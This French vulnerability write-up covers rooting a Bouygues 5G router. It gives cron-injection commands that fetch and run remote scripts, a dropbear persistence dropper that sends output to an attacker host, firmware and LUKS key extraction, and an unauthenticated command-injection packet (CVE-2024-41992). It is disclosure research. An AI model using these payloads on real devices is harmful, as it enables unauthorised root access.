Intro

Bon, étant privé de fibre dans mon appart, et après une petite comparaison des alternatives, j'ai décidé de prendre un abonnement Bouygues - 5g box.

Un option plutôt pratique et une bonne alternative pour les logements n'ayant pas accès à la fibre.

Mais bon, on est pas là pour parler perf et qualité de service :). Étant donc toujours très curieux, j’ai décidé de me pencher sur le fonctionnement de cette dernière et voir s’il n’était pas possible de faire 2-3 trucs sympas.

Les bases

Bon déjà quelques bases sur les forces en présence :

On se trouve face à une box fabriquée par Arcadyan, niveau hardware pas grand chose d’intéressant (la box étant en location, j’envisageais pas de l’ouvrir oups) . Niveau soft on est sur un router qui utilise OpenWRT, avec des composant additionnels spécifiques au vendeur, l’interface d’administration se base sur LuCi (qui est l’interface de gestion Web d’OpenWRT) mais en ajoutant une grosse couche par dessus pour le rendre plus user-friendly et limiter l’accès à des fonctions pouvant permettre un accès trop poussé à la box.

Untitled

Accès initial à la box

Mon premier objectif ici était d’obtenir un accès type SSH à la box, afin d’avoir ensuite une meilleure vue d’ensemble du système, sans restriction, pour faciliter le processus d’exploitation par la suite.

Après avoir fouillé un peu sur l’interface web, pas grand chose qui saute aux yeux, cependant, une fonction me fait quand même de l’œil depuis le début :

Untitled

En effet, en se penchant un peu sur la fonction de Sauvegarde / Restauration des paramètres, on peut noter plusieurs choses, premièrement le fichier téléchargé lors de la “sauvegarde” de la configuration nous donnes déjà une bonne piste :

Untitled

Ici on voit que : 1 le fichier téléchargé est en fait une archive

2 Une fois extrait, il contient le contenu (ou du moins une partie, mais on y reviendra) du dossier /etc présent sur le router.

En lisant la documentation d’OpenWRT, on comprends en effet qu’une sauvegarde équivaut seulement a faire une archive tar des fichiers spécifiées dans /lib/upgrade/keep.d (dans notre cas ce fichier à été spécifié par le fabriquant). Lors de la restauration, ces derniers écrasent donc ceux présent sur le système.

Après une petite analyse on remarque que la plupart des fichiers sont des fichiers de configuration génériques, cependant un en particulier retiens mon attention :

Untitled

Il semblerait que le fichier de configuration des tâches cron soit également préservé, ce qui nous donne une belle opportunité : si nous arrivons à le réécrire, puis a réinjecter la sauvegarde, le router devrait donc utiliser ce fichier de configuration pour cron et exécuter nos commandes.

On modifie donc le fichier pour vérifier que nos commandes sont bien exécutées :

$ cat root
0 * * * * /usr/sbin/logrotate -f /etc/logrotate.conf >/dev/null 2>&1
* * * * * /usr/bin/curl 192.168.1.101:4444 -d "$(id)"

On remet cette configuration dans le router (sans oublier de conserver les permissions avec l’option -p de tar ) , et on démarre un listener ncat sur notre machine, on obtient donc :

Untitled

La commande marche et est exécuté et en plus, on est root !

Pour obtenir notre accès stable et permanent, on va donc utiliser dropbear, qu’on aura au préalable compilé pour l’architecture en question. On ajoute ensuite une ligne de ce style dans les tâches cron :

* * * * * /usr/bin/curl 192.168.1.101:4444/a -o /tmp/f.sh && chmod 755 /tmp/f.sh && /tmp/f.sh

En utilisant le module httpserver de python, nous allons servir le fichier suivant ainsi que l’ensemble des binaires de dropbear nécessaires :

#!/bin/sh
curl 192.168.1.101:4444/db -o /tmp/db #On télécharge dropbear
curl 192.168.1.101:4444/dbk -o /tmp/dbk #On télécharge dropbearkey, necessaire pour dropbear
curl 192.168.1.101:4444 -d "$(ls /tmp)" #On pingback notre serveur (debug)
chmod +x /tmp/db
chmod +x /tmp/dbk
curl 192.168.1.101:4444 -d "$(ls -lah /tmp)" #On vérifie que les perms soient bien appliquées
(
mkdir /etc/dropbear 
mkdir /root/.ssh
/tmp/dbk -t rsa -f /etc/dropbear/dropbear_rsa_host_key 2>&1 #conf dropbear
echo "ssh-rsa {notre_cle_ssh}" > /root/.ssh/authorized_keys 2>&1 #On ajoute notre clée
/tmp/db -p 75 2>&1 #On démarre dropbear sur le port 75 
) > /tmp/full_output.log #On redirige toutes les sorties vers un fichier de log (debug)
curl -F "file=@/tmp/full_output.log" http://192.168.1.101:4444 #On exfil le log pour voir si tout est ok

Après avoir répété les étapes de connexion, on obtient ensuite ceci :) :

Untitled

On est donc bien connecté en temps que root sur le router, déjà une bonne étape 😀.

Le problème ici se trouve dans keep.d (mentionné plus tôt), par défaut ce fichier contient seulement ces fichiers comme nous pouvons le voir ici :

# Essential files that will be always kept
/etc/hosts
/etc/inittab
/etc/group
/etc/passwd
/etc/profile
/etc/shadow
/etc/shells
/etc/shinit
/etc/sysctl.conf
/etc/rc.local

Dans la configuration présente sur le router, le dossier keep.d contient plusieurs fichiers en plus du base-files-essential par défaut, notamment le fichier base-files avec les entrées suivantes :

/etc/config/
/etc/config/network
/etc/config/system
/etc/crontabs/ #<----- Le dossier crontabs est sauvegardé
/etc/dropbear/
/etc/profile.d

Dump du firmware

Après une petite balade sur le système j’ai pensé qu’il serait intéressant de regarder la logique de mise a jour du firmware.

Concrètement, un script situé à /usr/sbin/arc_autofw est lancé de manière quotidienne (quand les MàJ auto sont activées) via les tâches cron. De manière très résumée, et pour des raisons de clarté, j’ai raccourci le script pour juste montrer les fonctions essentielles :

#!/bin/sh
API_SERVER="https://{serveur_api_arcadyan}"
CA_PATH="/usr/share/autofw/cert"
TMP_FW="/tmp/autofw.bin"
#Auth avec une clé client
CURL_OPT="-s --key ${CA_PATH}/client.key --cert ${CA_PATH}/client.crt"
MSG={les_données_de_notre_router}
#La commande suivante récupère la version actuelle du firmware via l'api d'arcadyan
fwList=`curl ${CURL_OPT} -X POST -H "Content-Type: application/json" -d "$MSG" ${API_SERVER}/Cloud/fw/get_fw_list_url`
#(Logique du programe pour parser la réponse + error handling)*
#On récupère ensuite l'url finale de téléchargement du firmware, en se basant sur la réponse précédente (servi via AWS)
fw_url=`curl ${CURL_OPT} -X POST -H "Content-Type: application/json" -d "$MSG" ${API_SERVER}/Cloud/fw/get_fw_url`
#Finalement, le firmware est téléchargé en utilisant le retour de la dernière requête 
curl ${CURL_OPT} -o "$TMP_FW" $file_url
#Le programme utilise alors sysupgrade (fourni par défaut par OpenWRT) pour procéder à la mise a jour du système

Je récupère donc les certificats client, j’effectue la requête, télécharge le firmware, cependant quand j’essaie de l’extraire, un petit coup de binwalk me fait vite comprendre que je me trouve face à un firmware chiffré :

Untitled

J’ai du manquer quelque chose, je retourne donc jeter un petit coup d’œil aux fichiers de mise à jour, et il se trouve que le script sysupgrade a été légèrement modifié par arcadyan pour inclure une fonction de déchiffrement du firmware :

if [ -e $IMAGE ]; then
        v "Start decrypt FW ..."
        echo 1 > /proc/safexcel/disable_EIP97 #On désactive l'accélération hardware pour la cryptographie ???
        encrypt_IMAGE=$IMAGE
        /usr/bin/fw_decrypt decrypt $encrypt_IMAGE #Le firmware est déchiffré avec le binaire fw_decrypt
        mv $encrypt_IMAGE"_decrypt" $IMAGE
        echo "decrypt FW complete"
fi

Après être allé chercher le binaire fw_decrypt, on se retrouve avec un exécutable, plutôt léger, qui, à priori nous permet de déchiffrer le fichier téléchargé. Seul problème, il est compilé pour du ARMv8a, et comme vraiment grosse fleme de lancer un qEmu, je décide plutôt de le balancer dans ghidra pour voir si on peut pas obtenir, avec un peu de bol, des clés de chiffrement en dur.

On se retrouve avec un programme relativement simple, il vérifie si le premier argument est crypt ou decrypt , on retrouve également une fonction que j’ai renommé “aes” qui est une implémentation basique d’un chiffrement/déchiffrement avec aes. En fonction du premier argument, le programme chiffre ou déchiffre le fichier passé en argument. La clé est stocké en dur dans la mémoire et nous pouvons la récupérer :

Untitled

On peut ensuite récupérer la clé en dur :

Untitled

On peut déchiffrer le firmware initial qui est une archive gz :

Untitled

Récupération du système de fichier racine

Maintenant que nous avons l’archive contenant les fichiers, nous pouvons extraire le contenu et essayer d’obtenir l’ensemble des fichiers/dossiers qui sont flashés dans la mémoire lors de la mise à jour, pour cela nous localisons le fichiers de base qui est ubi-rootfs.squashfs :

$ file ubi-rootfs.squashfs 
ubi-rootfs.squashfs: UBI image, version 1

Le fichier est donc une image UBI, pour l’extraire nous allons utiliser l’option extract_images de ubireader :

$ ubireader_extract_images ubi-rootfs.squashfs
$ cd ubifs-root/ubi-rootfs.squashfs/
$ file img-1113276392_vol-rootfs.ubifs 
img-1113276392_vol-rootfs.ubifs: LUKS encrypted file, ver 1 [aes, cbc-essiv:sha256, sha256] UUID: c5676a27-1360-4222-88f1-cdf813f27169, at 0x1000 data, 32 key bytes, MK digest 0xb7a9769767bc90e6365d95c5575fe67c52e8ce25, MK salt 0xd04c53b9fb922952bdef6c604b75207b1942487df38243fb71b3039c06e60820, 60681 MK iterations; slot #0 active, 0x8 material offset

On constate donc que l’image extraite est un fichier chiffré LUKS, seul problème : on ne possède pas la clé de (dé)chiffrement. Il est très probable que cette dernière se trouve dans boot-verified.img ou lk-verified.img , cependant, possédant un accès direct au système, il nous est possible de récupérer la Master Key relativement facilement et ainsi de déchiffrer le volume sans connaitre la clé initiale.

On se connecte donc au router en SSH :

##On vérifie que les digest des MK sont les même sur le fichiers en local et sur le router :
root@meteor:~# cryptsetup luksDump /dev/ubiblock0_0
LUKS header information for /dev/ubiblock0_0

Version:        1
Cipher name:    aes
Cipher mode:    cbc-essiv:sha256
Hash spec:      sha256
Payload offset: 4096
MK bits:        256
MK digest:      b7 a9 76 97 67 bc 90 e6 36 5d 95 c5 57 5f e6 7c 52 e8 ce 25 
MK salt:        ....

Key Slot 0: ENABLED
        Iterations:...
##Les digest sont les mêmes, la masterkey est donc valable pour notre fichier, on la récupère :
root@meteor:~# dmsetup table --showkeys
rootfs: 0 108992 crypt aes-cbc-essiv:sha256 53f1c617128a0c78c2404a1a3c5eb048a3c98860b088a3c2cea85255f92b350c 0 252:0 4096

##Sur notre machine, on met la clé au format brut dans un fichier :
$ echo "53f1c617128a0c78c2404a1a3c5eb048a3c98860b088a3c2cea85255f92b350c" > masterkey.txt && xxd -r -p masterkey.txt mk.bin

On a donc la masterkey permettant de déchiffrer le volume, on peut ensuite monter ce dernier :

$ sudo cryptsetup --master-key-file=mk.bin luksOpen img-1113276392_vol-rootfs.ubifs decryptedFS

On se retrouve enfin avec le disque suivant monté sur notre machine :

Untitled

Service exotique et local unauth RCE

Quand on fait un scan NMAP de notre router, on constate que les ports 8000 et 8080 sont ouverts, de plus, nmap obtient une réponse quand il essaie de les probe mais n’arrive pas à déterminer le service. On obtient la fingerprint suivante avec la probe “TerminalServer”

Untitled

J’ai donc fait un petit script en python pour fuzzer les paquets tcp envoyés au service. Bien que cela soit relativement instable (crash très fréquent du service) j’ai pu obtenir les réponses suivantes :

Untitled

En cherchant le nom de ce service, on tombe sur ce repo. Le service qui tourne semble donc être un utilitaire de test, développé par la Wi-Fi Alliance afin de tester / préparer les routeurs lors des phases de test (donc visiblement rien a faire sur un appareil en prod 🙂). Après avoir fouillé un peu dans le code source (la doc étant d’une aide peu précieuse), j’ai pu plus ou moins comprendre le fonctionnement du service. Le service écoute en TCP sur un port défini à l’avance, il attends ensuite des paquets TLV de ce format (Type et Length sont définis comme des unsigned shorts ici et ici, la valeur max des paramètre est donnée ici):

Type Longueur Valeur
2 bytes 2 bytes 0-640 bytes

(N’oublions également pas, pour la suite, la différence de boutisme entre le protocole réseau et le traitement en C, en effet, les valeurs transmises via les paquets sont généralement en big endian mais traitées en little endian du côté de la machine, donc un paquet de type ‘1’ commencera par \x01\x00 (au moment de l’envoi) et pas \x00\x01)


On retrouve la liste des fonctions avec leur valeurs correspondantes dans lib/wfa_cmdtbl.c et une description des fonction est disponible dans la documentation, que je ne joindrais pas ici car elle comporte ce joli texte en en-tête :

Untitled

Mais qui est facilement trouvable via une recherche google 🙃.

Un paquet type pour obtenir la version de WiFi-TestSuite qui tourne serait donc (en appelant donc la fonction agtCmdProcGetVersion ) :

\x01\x00\x00\x00

On a donc la valeur qui est ‘1’ car on appelle la première fonction (voir wfa_cmdtbl) et la longueur qui est ‘0’ car cette fonction ne prends pas de paramètres. Et surprise :

Untitled

On obtient ainsi la réponse qu’on avait vu passer au début 😀.

Pour s’assurer que c’est pas juste un coup de chance on peut par exemple envoyer la commande wfaStaGetInfo (27) qui devrait renvoyer des infos de bases :

Untitled

On a donc bien accès au service et visiblement la documentation et nos suppositions quant au code source sont plutôt correctes 🙂.

On creuse

Forcément, je me suis ensuite demandé s’il était possible d’exécuter des commandes via ce petit service mal documenté et visiblement peu connu 🙂 (Spoiler : oui)

Première chose que je fais, je regarde la documentation pour voir l’utilité précise de chaque fonction, mais pas grand chose intéressant à ce niveau là. Evidemment des commandes sensibles pour modifier la configuration de l’appareil, ou obtenir des informations. Mais ces dernières semblent soit se baser sur des binaires non présents sur l’appareil, soit révéler des informations déjà connues de la part d’un attaquant (les ports sont exposés en local, on suppose donc que l’attaquant est déjà connecté au réseau et connait donc déjà la clé d’accès par exemple).

Cependant, en regardant le code, quelque chose m’interpelle, je vais juste faire un petit retour en arrière pour être bien clair sur la manière dont le binaire traite les paquets reçu :

code2flow_JuhHrj.png

Ici rien d’anormal, les paquets sont parsés dès leur réception et les paramètres sont stockés dans une variable (ils doivent êtres fournis au format ASCII).

La fonction pour parser les paquets est wfaDecodeTLV :

/*
 * wfaDecodeTLV(); Decoding a TLV format into actually values
 * input:  tlv_data - the TLV format packet buffer
 *         tlv_len  - the total length of the TLV
 * output: ptag - the TLV type
 *         pval_len - the value length
 *         pvalue - value buffer, caller must allocate the buffer
 */

BOOL wfaDecodeTLV(BYTE *tlv_data, int tlv_len, WORD *ptag, int *pval_len, BYTE *pvalue)
{
    wfaTLV *data = (wfaTLV *)tlv_data;

    if(pvalue == NULL)
    {
        DPRINT_ERR(WFA_ERR, "Parm buf invalid\n");
        return WFA_FAILURE; //False
    }
    *ptag = data->tag;
    *pval_len = data->len;

    if(tlv_len < *pval_len)
        return WFA_FAILURE; //False

    if(*pval_len != 0 && *pval_len < MAX_PARMS_BUFF)
    {
        wMEMCPY(pvalue, tlv_data+4, *pval_len);
    }

    return WFA_SUCCESS;
}

Les fonctions sont ensuite appelées avec les output de cette dernière :

gWfaCmdFuncTbl[xcCmdTag](cmdLen, parmsVal, &respLen, (BYTE *)respBuf);

Ici, on va chercher la fonction à l’index xcCmdTag dans notre table définie plus haut, on passe également la longueur des params via cmdLen et leur valeur dans parmsVal.

Regardons maintenant comment sont construites les fonctions appelées, ici nous regardons par exemple la fonction WfaStaGetIpConfig, qui, comme son nom l’indique, retourne l’ipconfig du routeur (la fonction est simplifiée pour la lisibilité) :

int wfaStaGetIpConfig(int len, BYTE *caCmdBuf, int *respLen, BYTE *respBuf)
{
    //...
        // On caste nos params dans la structure "dutCommand_t"
    dutCommand_t *getIpConf = (dutCommand_t *)caCmdBuf;

    // ifname est extrait de notre structure contenant nos params
    char *ifname = getIpConf->intf;

    // Formatage de la commande avec ifname
    char gCmdStr[256];
    sprintf(gCmdStr, "getipconfig.sh /tmp/ipconfig.txt %s\n", ifname);
    system(gCmdStr); // Exécution de la commande formatée :)

    // Traitement des résultats et préparation de la réponse (simplifié)
    // ...
    return WFA_SUCCESS; // Simplification
}

On peut donc constater que nos params sont castés avec la structure dutCommand_t qui est définie ici :

//Dans wfa_types.h on a
//#define WFA_IF_NAME_LEN 16
typedef struct dut_commands
{
    char intf[WFA_IF_NAME_LEN];
    union _cmds
    {
       //Autres types
    } cmdsu;
} dutCommand_t;

Ainsi, la commande qui va être exécutée est donc formatée avec les 16 premiers bytes des paramètres envoyés avec la commande, ainsi si on fournis une entrée malicieuse dans les paramètres, on peut arriver à une injection / exécution de commande :

     0a00        |       0a00          | 2428736c656570203529
Type (10 = 0x0a) | Length (10 = 0x0a) | Val = '$(sleep 5)'

La commande formatée sera donc getipconfig.sh /tmp/ipconfig.txt $(sleep 5)\n nous permettant ainsi d’exécuter des commandes.

Cependant l’exploitabilité d’une telle injection est discutable, en effet on ne peut pas injecter de commandes de plus de 13 caractères (16 bytes - 3 bytes pour $() ) rendant ainsi l’exploitation relativement compliquée

Parenthèse sur la non-exploitabilité en moins de 13 caractères :

Même si théoriquement possible, en injectant plusieurs fois des commandes de type $(echo a>>b) , l’injection de commande via ces fonctions n’est pas stable, pour des raisons que je n’ai pas encore déterminées, mais qui semble liées à la manière dont le programme traite de multiples connexions et la réception de plusieurs paquets. Cela cause des crashs excessifs, une fermeture des ports :

if(nbytes <=0)
            {
                /* error handling a la reception du paquet fermant les ports en cas d'erreur */
                shutdown(gxcSockfd, SHUT_WR);
                close(gxcSockfd);
                gxcSockfd = -1;
            }

et donc cela nécessite un redémarrage du routeur, les fichiers que nous écrivons n’étant pas persistants lors du reboot, nous perdons donc notre avancée, rendant ainsi l’exploitation compliquée.

Exploitation via d’autres fonctions

Il est cependant possible de trouver des fonctions qui prennent des entrées plus grandes, pour l’exploit j’ai utilisé la fonction wfaTGSendPing , définie ici, qui prends la structure suivante pour caster les paramètres :

//Dans wfa_tg.h
//#define IPV6_ADDRESS_STRING_LEN    40
typedef struct _tg_ping_start
{
    char dipaddr[IPV6_ADDRESS_STRING_LEN];  /* destination/remote ip address */
    int  frameSize;
    float  frameRate;
    int  duration;
    int  type;
    int  qos;
    int  iptype;
    int  dscp;
} tgPingStart_t;

La fonction passe ensuite cette structure à WfaSendPing, où l’injection de commande est présente :

if (staPing->iptype == 2)
    {
        if ( tos>0)
            sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -Q %d -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
                    streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, tos,  staPing->frameSize,streamid);
        else
            sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
                    streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, staPing->frameSize,streamid);
        sret = system(cmdStr);

On voit que staPing->dipaddr est utilisé pour formater la commande qui sera exécutée, et, à cause de l’IPv6, la longueur max de dipaddr est de 40 bytes au lieu de 16 bytes prévus pour l’IPv4. Nous avons ainsi des possibilités d’exploitation beaucoup plus larges. Notamment en utilisant les binaires déjà présents sur le système visé

Nous pouvons donc envoyer le paquet suivant :

      0200      |         2100       | 24287368202d63202224286375726c203139322e3136382e312e3234373a34292229
Type (2 = 0x02) | Length (33 = 0x21) | Value = '$(sh -c "$(curl 192.168.1.247:4)")'

En parallèle, je fait tourner sur ma machine un serveur python qui sert :

  • / → Un script bash qui télécharge les deux binaires nécessaires au fonctionnement de dropbear (dropbear et dropbearkey), les rends exécutables, fait la mise en place de dropbear et écris une clé publique pour l’accès SSH, puis lance dropbear sur le port 75
  • /db → L’exécutable dropbear
  • /dbk → l’exécutable dropbearkey
  • POST /* → Print les requêtes post sur la console (debug)

Le code source pour le PoC est disponible ici : https://github.com/fj016/CVE-2024-41992-PoC